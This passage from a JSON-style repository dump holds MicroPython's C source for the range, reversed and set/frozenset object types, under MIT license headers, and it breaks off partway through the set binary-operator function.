mp_obj_property_t *self = MP_OBJ_TO_PTR(self_in);\n    return self->proxy;\n}\n\n#endif // MICROPY_PY_BUILTINS_PROPERTY\n"
  },
  {
    "path": "micropython/source/py/objrange.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n\n#include \"py/nlr.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n\n/******************************************************************************/\n/* range iterator                                                             */\n\ntypedef struct _mp_obj_range_it_t {\n    mp_obj_base_t base;\n    // TODO make these values generic objects or something\n    mp_int_t cur;\n    mp_int_t stop;\n    mp_int_t step;\n} mp_obj_range_it_t;\n\nSTATIC mp_obj_t range_it_iternext(mp_obj_t o_in) {\n    mp_obj_range_it_t *o = MP_OBJ_TO_PTR(o_in);\n    if ((o->step > 0 && o->cur < o->stop) || (o->step < 0 && o->cur > o->stop)) {\n        mp_obj_t o_out = MP_OBJ_NEW_SMALL_INT(o->cur);\n        o->cur += o->step;\n        return o_out;\n    } else {\n        return MP_OBJ_STOP_ITERATION;\n    }\n}\n\nSTATIC const mp_obj_type_t range_it_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_iterator,\n    .getiter = mp_identity_getiter,\n    .iternext = range_it_iternext,\n};\n\nSTATIC mp_obj_t mp_obj_new_range_iterator(mp_int_t cur, mp_int_t stop, mp_int_t step, mp_obj_iter_buf_t *iter_buf) {\n    assert(sizeof(mp_obj_range_it_t) <= sizeof(mp_obj_iter_buf_t));\n    mp_obj_range_it_t *o = (mp_obj_range_it_t*)iter_buf;\n    o->base.type = &range_it_type;\n    o->cur = cur;\n    o->stop = stop;\n    o->step = step;\n    return MP_OBJ_FROM_PTR(o);\n}\n\n/******************************************************************************/\n/* range                                                                      */\n\ntypedef struct _mp_obj_range_t {\n    mp_obj_base_t base;\n    // TODO make these values generic objects or something\n    mp_int_t start;\n    mp_int_t stop;\n    mp_int_t step;\n} mp_obj_range_t;\n\nSTATIC void range_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_range_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_printf(print, \"range(\" INT_FMT \", \" INT_FMT \"\", self->start, self->stop);\n    if (self->step == 1) {\n        mp_print_str(print, \")\");\n    } else {\n        mp_printf(print, \", \" INT_FMT \")\", self->step);\n    }\n}\n\nSTATIC mp_obj_t range_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_arg_check_num(n_args, n_kw, 1, 3, false);\n\n    mp_obj_range_t *o = m_new_obj(mp_obj_range_t);\n    o->base.type = type;\n    o->start = 0;\n    o->step = 1;\n\n    if (n_args == 1) {\n        o->stop = mp_obj_get_int(args[0]);\n    } else {\n        o->start = mp_obj_get_int(args[0]);\n        o->stop = mp_obj_get_int(args[1]);\n        if (n_args == 3) {\n            o->step = mp_obj_get_int(args[2]);\n            if (o->step == 0) {\n                mp_raise_ValueError(\"zero step\");\n            }\n        }\n    }\n\n    return MP_OBJ_FROM_PTR(o);\n}\n\nSTATIC mp_int_t range_len(mp_obj_range_t *self) {\n    // When computing length, need to take into account step!=1 and step<0.\n    mp_int_t len = self->stop - self->start + self->step;\n    if (self->step > 0) {\n        len -= 1;\n    } else {\n        len += 1;\n    }\n    len = len / self->step;\n    if (len < 0) {\n        len = 0;\n    }\n    return len;\n}\n\nSTATIC mp_obj_t range_unary_op(mp_uint_t op, mp_obj_t self_in) {\n    mp_obj_range_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_int_t len = range_len(self);\n    switch (op) {\n        case MP_UNARY_OP_BOOL: return mp_obj_new_bool(len > 0);\n        case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(len);\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t range_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) {\n    if (value == MP_OBJ_SENTINEL) {\n        // load\n        mp_obj_range_t *self = MP_OBJ_TO_PTR(self_in);\n        mp_int_t len = range_len(self);\n#if MICROPY_PY_BUILTINS_SLICE\n        if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) {\n            mp_bound_slice_t slice;\n            mp_seq_get_fast_slice_indexes(len, index, &slice);\n            mp_obj_range_t *o = m_new_obj(mp_obj_range_t);\n            o->base.type = &mp_type_range;\n            o->start = self->start + slice.start * self->step;\n            o->stop = self->start + slice.stop * self->step;\n            o->step = slice.step * self->step;\n            if (slice.step < 0) {\n                // Negative slice steps have inclusive stop, so adjust for exclusive\n                o->stop -= self->step;\n            }\n            return MP_OBJ_FROM_PTR(o);\n        }\n#endif\n        size_t index_val = mp_get_index(self->base.type, len, index, false);\n        return MP_OBJ_NEW_SMALL_INT(self->start + index_val * self->step);\n    } else {\n        return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t range_getiter(mp_obj_t o_in, mp_obj_iter_buf_t *iter_buf) {\n    mp_obj_range_t *o = MP_OBJ_TO_PTR(o_in);\n    return mp_obj_new_range_iterator(o->start, o->stop, o->step, iter_buf);\n}\n\n\n#if MICROPY_PY_BUILTINS_RANGE_ATTRS\nSTATIC void range_attr(mp_obj_t o_in, qstr attr, mp_obj_t *dest) {\n    if (dest[0] != MP_OBJ_NULL) {\n        // not load attribute\n        return;\n    }\n    mp_obj_range_t *o = MP_OBJ_TO_PTR(o_in);\n    if (attr == MP_QSTR_start) {\n        dest[0] = mp_obj_new_int(o->start);\n    } else if (attr == MP_QSTR_stop) {\n        dest[0] = mp_obj_new_int(o->stop);\n    } else if (attr == MP_QSTR_step) {\n        dest[0] = mp_obj_new_int(o->step);\n    }\n}\n#endif\n\nconst mp_obj_type_t mp_type_range = {\n    { &mp_type_type },\n    .name = MP_QSTR_range,\n    .print = range_print,\n    .make_new = range_make_new,\n    .unary_op = range_unary_op,\n    .subscr = range_subscr,\n    .getiter = range_getiter,\n#if MICROPY_PY_BUILTINS_RANGE_ATTRS\n    .attr = range_attr,\n#endif\n};\n"
  },
  {
    "path": "micropython/source/py/objreversed.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_PY_BUILTINS_REVERSED\n\ntypedef struct _mp_obj_reversed_t {\n    mp_obj_base_t base;\n    mp_obj_t seq;           // sequence object that we are reversing\n    mp_uint_t cur_index;    // current index, plus 1; 0=no more, 1=last one (index 0)\n} mp_obj_reversed_t;\n\nSTATIC mp_obj_t reversed_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_arg_check_num(n_args, n_kw, 1, 1, false);\n\n    // check if __reversed__ exists, and if so delegate to it\n    mp_obj_t dest[2];\n    mp_load_method_maybe(args[0], MP_QSTR___reversed__, dest);\n    if (dest[0] != MP_OBJ_NULL) {\n        return mp_call_method_n_kw(0, 0, dest);\n    }\n\n    mp_obj_reversed_t *o = m_new_obj(mp_obj_reversed_t);\n    o->base.type = type;\n    o->seq = args[0];\n    o->cur_index = mp_obj_get_int(mp_obj_len(args[0])); // start at the end of the sequence\n\n    return MP_OBJ_FROM_PTR(o);\n}\n\nSTATIC mp_obj_t reversed_iternext(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_reversed));\n    mp_obj_reversed_t *self = MP_OBJ_TO_PTR(self_in);\n\n    // \"raise\" stop iteration if we are at the end (the start) of the sequence\n    if (self->cur_index == 0) {\n        return MP_OBJ_STOP_ITERATION;\n    }\n\n    // pre-decrement and index sequence\n    self->cur_index -= 1;\n    return mp_obj_subscr(self->seq, MP_OBJ_NEW_SMALL_INT(self->cur_index), MP_OBJ_SENTINEL);\n}\n\nconst mp_obj_type_t mp_type_reversed = {\n    { &mp_type_type },\n    .name = MP_QSTR_reversed,\n    .make_new = reversed_make_new,\n    .getiter = mp_identity_getiter,\n    .iternext = reversed_iternext,\n};\n\n#endif // MICROPY_PY_BUILTINS_REVERSED\n"
  },
  {
    "path": "micropython/source/py/objset.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdbool.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/runtime.h\"\n#include \"py/runtime0.h\"\n#include \"py/builtin.h\"\n\n#if MICROPY_PY_BUILTINS_SET\n\ntypedef struct _mp_obj_set_t {\n    mp_obj_base_t base;\n    mp_set_t set;\n} mp_obj_set_t;\n\ntypedef struct _mp_obj_set_it_t {\n    mp_obj_base_t base;\n    mp_fun_1_t iternext;\n    mp_obj_set_t *set;\n    size_t cur;\n} mp_obj_set_it_t;\n\nSTATIC mp_obj_t set_it_iternext(mp_obj_t self_in);\n\nSTATIC bool is_set_or_frozenset(mp_obj_t o) {\n    return MP_OBJ_IS_TYPE(o, &mp_type_set)\n#if MICROPY_PY_BUILTINS_FROZENSET\n        || MP_OBJ_IS_TYPE(o, &mp_type_frozenset)\n#endif\n    ;\n}\n\n// This macro is shorthand for mp_check_self to verify the argument is a\n// set or frozenset for methods that operate on both of these types.\n#define check_set_or_frozenset(o) mp_check_self(is_set_or_frozenset(o))\n\n// This function is used to verify the argument for methods that modify\n// the set object, and raises an exception if the arg is a frozenset.\nSTATIC void check_set(mp_obj_t o) {\n    #if MICROPY_PY_BUILTINS_FROZENSET\n    if (MP_OBJ_IS_TYPE(o, &mp_type_frozenset)) {\n        // Mutable method called on frozenset; emulate CPython behavior, eg:\n        // AttributeError: 'frozenset' object has no attribute 'add'\n        mp_raise_msg(&mp_type_AttributeError, \"'frozenset' has no such attribute\");\n    }\n    #endif\n    mp_check_self(MP_OBJ_IS_TYPE(o, &mp_type_set));\n}\n\nSTATIC void set_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n    #if MICROPY_PY_BUILTINS_FROZENSET\n    bool is_frozen = MP_OBJ_IS_TYPE(self_in, &mp_type_frozenset);\n    #endif\n    if (self->set.used == 0) {\n        #if MICROPY_PY_BUILTINS_FROZENSET\n        if (is_frozen) {\n            mp_print_str(print, \"frozen\");\n        }\n        #endif\n        mp_print_str(print, \"set()\");\n        return;\n    }\n    bool first = true;\n    #if MICROPY_PY_BUILTINS_FROZENSET\n    if (is_frozen) {\n        mp_print_str(print, \"frozenset(\");\n    }\n    #endif\n    mp_print_str(print, \"{\");\n    for (size_t i = 0; i < self->set.alloc; i++) {\n        if (MP_SET_SLOT_IS_FILLED(&self->set, i)) {\n            if (!first) {\n                mp_print_str(print, \", \");\n            }\n            first = false;\n            mp_obj_print_helper(print, self->set.table[i], PRINT_REPR);\n        }\n    }\n    mp_print_str(print, \"}\");\n    #if MICROPY_PY_BUILTINS_FROZENSET\n    if (is_frozen) {\n        mp_print_str(print, \")\");\n    }\n    #endif\n}\n\nSTATIC mp_obj_t set_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_arg_check_num(n_args, n_kw, 0, 1, false);\n\n    switch (n_args) {\n        case 0: {\n            // create a new, empty set\n            mp_obj_set_t *set = MP_OBJ_TO_PTR(mp_obj_new_set(0, NULL));\n            // set actual set/frozenset type\n            set->base.type = type;\n            return MP_OBJ_FROM_PTR(set);\n        }\n\n        case 1:\n        default: { // can only be 0 or 1 arg\n            // 1 argument, an iterable from which we make a new set\n            mp_obj_t set = mp_obj_new_set(0, NULL);\n            mp_obj_t iterable = mp_getiter(args[0], NULL);\n            mp_obj_t item;\n            while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) {\n                mp_obj_set_store(set, item);\n            }\n            // Set actual set/frozenset type\n            ((mp_obj_set_t*)MP_OBJ_TO_PTR(set))->base.type = type;\n            return set;\n        }\n    }\n}\n\nSTATIC mp_obj_t set_it_iternext(mp_obj_t self_in) {\n    mp_obj_set_it_t *self = MP_OBJ_TO_PTR(self_in);\n    size_t max = self->set->set.alloc;\n    mp_set_t *set = &self->set->set;\n\n    for (size_t i = self->cur; i < max; i++) {\n        if (MP_SET_SLOT_IS_FILLED(set, i)) {\n            self->cur = i + 1;\n            return set->table[i];\n        }\n    }\n\n    return MP_OBJ_STOP_ITERATION;\n}\n\nSTATIC mp_obj_t set_getiter(mp_obj_t set_in, mp_obj_iter_buf_t *iter_buf) {\n    assert(sizeof(mp_obj_set_it_t) <= sizeof(mp_obj_iter_buf_t));\n    mp_obj_set_it_t *o = (mp_obj_set_it_t*)iter_buf;\n    o->base.type = &mp_type_polymorph_iter;\n    o->iternext = set_it_iternext;\n    o->set = (mp_obj_set_t *)MP_OBJ_TO_PTR(set_in);\n    o->cur = 0;\n    return MP_OBJ_FROM_PTR(o);\n}\n\n\n/******************************************************************************/\n/* set methods                                                                */\n\nSTATIC mp_obj_t set_add(mp_obj_t self_in, mp_obj_t item) {\n    check_set(self_in);\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_set_lookup(&self->set, item, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND);\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(set_add_obj, set_add);\n\nSTATIC mp_obj_t set_clear(mp_obj_t self_in) {\n    check_set(self_in);\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n\n    mp_set_clear(&self->set);\n\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(set_clear_obj, set_clear);\n\nSTATIC mp_obj_t set_copy_as_mutable(mp_obj_t self_in) {\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n\n    mp_obj_set_t *other = m_new_obj(mp_obj_set_t);\n    other->base.type = &mp_type_set;\n    mp_set_init(&other->set, self->set.alloc);\n    other->set.used = self->set.used;\n    memcpy(other->set.table, self->set.table, self->set.alloc * sizeof(mp_obj_t));\n\n    return MP_OBJ_FROM_PTR(other);\n}\n\nSTATIC mp_obj_t set_copy(mp_obj_t self_in) {\n    check_set_or_frozenset(self_in);\n\n    mp_obj_t other = set_copy_as_mutable(self_in);\n    ((mp_obj_base_t*)MP_OBJ_TO_PTR(other))->type = ((mp_obj_base_t*)MP_OBJ_TO_PTR(self_in))->type;\n\n    return other;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(set_copy_obj, set_copy);\n\nSTATIC mp_obj_t set_discard(mp_obj_t self_in, mp_obj_t item) {\n    check_set(self_in);\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_set_lookup(&self->set, item, MP_MAP_LOOKUP_REMOVE_IF_FOUND);\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(set_discard_obj, set_discard);\n\nSTATIC mp_obj_t set_diff_int(size_t n_args, const mp_obj_t *args, bool update) {\n    mp_obj_t self;\n    if (update) {\n        check_set(args[0]);\n        self = args[0];\n    } else {\n        check_set_or_frozenset(args[0]);\n        self = set_copy_as_mutable(args[0]);\n    }\n\n\n    for (size_t i = 1; i < n_args; i++) {\n        mp_obj_t other = args[i];\n        if (self == other) {\n            set_clear(self);\n        } else {\n            mp_obj_t iter = mp_getiter(other, NULL);\n            mp_obj_t next;\n            while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) {\n                set_discard(self, next);\n            }\n        }\n    }\n\n    ((mp_obj_base_t*)MP_OBJ_TO_PTR(self))->type = ((mp_obj_base_t*)MP_OBJ_TO_PTR(args[0]))->type;\n    return self;\n}\n\nSTATIC mp_obj_t set_diff(size_t n_args, const mp_obj_t *args) {\n    return set_diff_int(n_args, args, false);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR(set_diff_obj, 1, set_diff);\n\nSTATIC mp_obj_t set_diff_update(size_t n_args, const mp_obj_t *args) {\n    set_diff_int(n_args, args, true);\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR(set_diff_update_obj, 1, set_diff_update);\n\nSTATIC mp_obj_t set_intersect_int(mp_obj_t self_in, mp_obj_t other, bool update) {\n    if (update) {\n        check_set(self_in);\n    } else {\n        check_set_or_frozenset(self_in);\n    }\n\n    if (self_in == other) {\n        return update ? mp_const_none : set_copy(self_in);\n    }\n\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_set_t *out = MP_OBJ_TO_PTR(mp_obj_new_set(0, NULL));\n\n    mp_obj_t iter = mp_getiter(other, NULL);\n    mp_obj_t next;\n    while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) {\n        if (mp_set_lookup(&self->set, next, MP_MAP_LOOKUP)) {\n            set_add(MP_OBJ_FROM_PTR(out), next);\n        }\n    }\n\n    if (update) {\n        m_del(mp_obj_t, self->set.table, self->set.alloc);\n        self->set.alloc = out->set.alloc;\n        self->set.used = out->set.used;\n        self->set.table = out->set.table;\n    }\n\n    return update ? mp_const_none : MP_OBJ_FROM_PTR(out);\n}\n\nSTATIC mp_obj_t set_intersect(mp_obj_t self_in, mp_obj_t other) {\n    return set_intersect_int(self_in, other, false);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(set_intersect_obj, set_intersect);\n\nSTATIC mp_obj_t set_intersect_update(mp_obj_t self_in, mp_obj_t other) {\n    return set_intersect_int(self_in, other, true);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(set_intersect_update_obj, set_intersect_update);\n\nSTATIC mp_obj_t set_isdisjoint(mp_obj_t self_in, mp_obj_t other) {\n    check_set_or_frozenset(self_in);\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n\n    mp_obj_iter_buf_t iter_buf;\n    mp_obj_t iter = mp_getiter(other, &iter_buf);\n    mp_obj_t next;\n    while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) {\n        if (mp_set_lookup(&self->set, next, MP_MAP_LOOKUP)) {\n            return mp_const_false;\n        }\n    }\n    return mp_const_true;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(set_isdisjoint_obj, set_isdisjoint);\n\nSTATIC mp_obj_t set_issubset_internal(mp_obj_t self_in, mp_obj_t other_in, bool proper) {\n    mp_obj_set_t *self;\n    bool cleanup_self = false;\n    if (is_set_or_frozenset(self_in)) {\n        self = MP_OBJ_TO_PTR(self_in);\n    } else {\n        self = MP_OBJ_TO_PTR(set_make_new(&mp_type_set, 1, 0, &self_in));\n        cleanup_self = true;\n    }\n\n    mp_obj_set_t *other;\n    bool cleanup_other = false;\n    if (is_set_or_frozenset(other_in)) {\n        other = MP_OBJ_TO_PTR(other_in);\n    } else {\n        other = MP_OBJ_TO_PTR(set_make_new(&mp_type_set, 1, 0, &other_in));\n        cleanup_other = true;\n    }\n    bool out = true;\n    if (proper && self->set.used == other->set.used) {\n        out = false;\n    } else {\n        mp_obj_iter_buf_t iter_buf;\n        mp_obj_t iter = set_getiter(MP_OBJ_FROM_PTR(self), &iter_buf);\n        mp_obj_t next;\n        while ((next = set_it_iternext(iter)) != MP_OBJ_STOP_ITERATION) {\n            if (!mp_set_lookup(&other->set, next, MP_MAP_LOOKUP)) {\n                out = false;\n                break;\n            }\n        }\n    }\n    // TODO: Should free objects altogether\n    if (cleanup_self) {\n        set_clear(MP_OBJ_FROM_PTR(self));\n    }\n    if (cleanup_other) {\n        set_clear(MP_OBJ_FROM_PTR(other));\n    }\n    return mp_obj_new_bool(out);\n}\nSTATIC mp_obj_t set_issubset(mp_obj_t self_in, mp_obj_t other_in) {\n    return set_issubset_internal(self_in, other_in, false);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(set_issubset_obj, set_issubset);\n\nSTATIC mp_obj_t set_issubset_proper(mp_obj_t self_in, mp_obj_t other_in) {\n    return set_issubset_internal(self_in, other_in, true);\n}\n\nSTATIC mp_obj_t set_issuperset(mp_obj_t self_in, mp_obj_t other_in) {\n    return set_issubset_internal(other_in, self_in, false);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(set_issuperset_obj, set_issuperset);\n\nSTATIC mp_obj_t set_issuperset_proper(mp_obj_t self_in, mp_obj_t other_in) {\n    return set_issubset_internal(other_in, self_in, true);\n}\n\nSTATIC mp_obj_t set_equal(mp_obj_t self_in, mp_obj_t other_in) {\n    check_set_or_frozenset(self_in);\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n    if (!is_set_or_frozenset(other_in)) {\n        return mp_const_false;\n    }\n    mp_obj_set_t *other = MP_OBJ_TO_PTR(other_in);\n    if (self->set.used != other->set.used) {\n        return mp_const_false;\n    }\n    return set_issubset(self_in, other_in);\n}\n\nSTATIC mp_obj_t set_pop(mp_obj_t self_in) {\n    check_set(self_in);\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_t obj = mp_set_remove_first(&self->set);\n    if (obj == MP_OBJ_NULL) {\n        mp_raise_msg(&mp_type_KeyError, \"pop from an empty set\");\n    }\n    return obj;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(set_pop_obj, set_pop);\n\nSTATIC mp_obj_t set_remove(mp_obj_t self_in, mp_obj_t item) {\n    check_set(self_in);\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n    if (mp_set_lookup(&self->set, item, MP_MAP_LOOKUP_REMOVE_IF_FOUND) == MP_OBJ_NULL) {\n        nlr_raise(mp_obj_new_exception(&mp_type_KeyError));\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(set_remove_obj, set_remove);\n\nSTATIC mp_obj_t set_symmetric_difference_update(mp_obj_t self_in, mp_obj_t other_in) {\n    check_set(self_in);\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_t iter = mp_getiter(other_in, NULL);\n    mp_obj_t next;\n    while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) {\n        mp_set_lookup(&self->set, next, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND_OR_REMOVE_IF_FOUND);\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(set_symmetric_difference_update_obj, set_symmetric_difference_update);\n\nSTATIC mp_obj_t set_symmetric_difference(mp_obj_t self_in, mp_obj_t other_in) {\n    check_set_or_frozenset(self_in);\n    mp_obj_t self_out = set_copy_as_mutable(self_in);\n    set_symmetric_difference_update(self_out, other_in);\n    ((mp_obj_base_t*)MP_OBJ_TO_PTR(self_out))->type = ((mp_obj_base_t*)MP_OBJ_TO_PTR(self_in))->type;\n    return self_out;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(set_symmetric_difference_obj, set_symmetric_difference);\n\nSTATIC void set_update_int(mp_obj_set_t *self, mp_obj_t other_in) {\n    mp_obj_t iter = mp_getiter(other_in, NULL);\n    mp_obj_t next;\n    while ((next = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) {\n        mp_set_lookup(&self->set, next, MP_MAP_LOOKUP_ADD_IF_NOT_FOUND);\n    }\n}\n\nSTATIC mp_obj_t set_update(size_t n_args, const mp_obj_t *args) {\n    check_set(args[0]);\n    for (size_t i = 1; i < n_args; i++) {\n        set_update_int(MP_OBJ_TO_PTR(args[0]), args[i]);\n    }\n\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR(set_update_obj, 1, set_update);\n\nSTATIC mp_obj_t set_union(mp_obj_t self_in, mp_obj_t other_in) {\n    check_set_or_frozenset(self_in);\n    mp_obj_t self = set_copy(self_in);\n    set_update_int(MP_OBJ_TO_PTR(self), other_in);\n    return self;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(set_union_obj, set_union);\n\nSTATIC mp_obj_t set_unary_op(mp_uint_t op, mp_obj_t self_in) {\n    mp_obj_set_t *self = MP_OBJ_TO_PTR(self_in);\n    switch (op) {\n        case MP_UNARY_OP_BOOL: return mp_obj_new_bool(self->set.used != 0);\n        case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(self->set.used);\n#if MICROPY_PY_BUILTINS_FROZENSET\n        case MP_UNARY_OP_HASH:\n            if (MP_OBJ_IS_TYPE(self_in, &mp_type_frozenset)) {\n                // start hash with unique value\n                mp_int_t hash = (mp_int_t)(uintptr_t)&mp_type_frozenset;\n                size_t max = self->set.alloc;\n                mp_set_t *set = &self->set;\n\n                for (size_t i = 0; i < max; i++) {\n                    if (MP_SET_SLOT_IS_FILLED(set, i)) {\n                        hash += MP_OBJ_SMALL_INT_VALUE(mp_unary_op(MP_UNARY_OP_HASH, set->table[i]));\n                    }\n                }\n                return MP_OBJ_NEW_SMALL_INT(hash);\n            }\n#endif\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t set_binary_op(mp_uint_t op, mp_obj_t lhs, mp_obj_t rhs) {\n    mp_obj_t args[] = {lhs, rhs};\n    #if MICROPY_PY_BUILTINS_FROZENSET\n    bool update = MP_OBJ_IS_TYPE(lhs, &mp_type_set);\n    #else\n    bool update = true;\n    #endif\n    switch (op) {\n        case MP_BINARY_OP_OR:\n            return set_union(lhs, rhs);\n        case MP_BINARY_OP_XOR:\n            return set_symmetric_difference(lhs, rhs);\n        case MP_BINARY_OP_AND:\n            return set_intersect(lhs, rhs);\n        case MP_BINARY_OP_SUBTRACT:\n            return set_diff(2, args);\n        case MP_BINARY_OP_INPLACE_OR:\n            if (update) {\n                set_update(2, args);\n                return lhs;\n            } else {\n                return set_union(lhs, rhs);\n            }\n        case MP_BINARY_OP_INPLACE_XOR:\n            if (update) {\n                set_symmetric_difference_update(lhs, rhs);\n                return lhs;\n            } else {\n                return set_symmetric_difference(lhs, rhs);\n            }\n        case MP_BINARY_OP_INPLACE_AND:\n            rhs = set_intersect_int(lhs, rhs, update);\n            if (update) {\n                return lhs;\n            } else {\n                return rhs;\n            }\n        case MP_BINARY_OP_INPLACE_SUBTRACT:\n            return set_diff_int(2, args, update);\n        case MP_BINARY_OP_LESS:\n            return set_issubset_proper(lhs, rhs);\n        case MP_BINARY_OP_MORE:\n            return set_issuperset_proper(lhs, rhs);\n        case MP_BINARY_OP_EQUAL:\n            return set_equal(lhs, rhs);\n        case 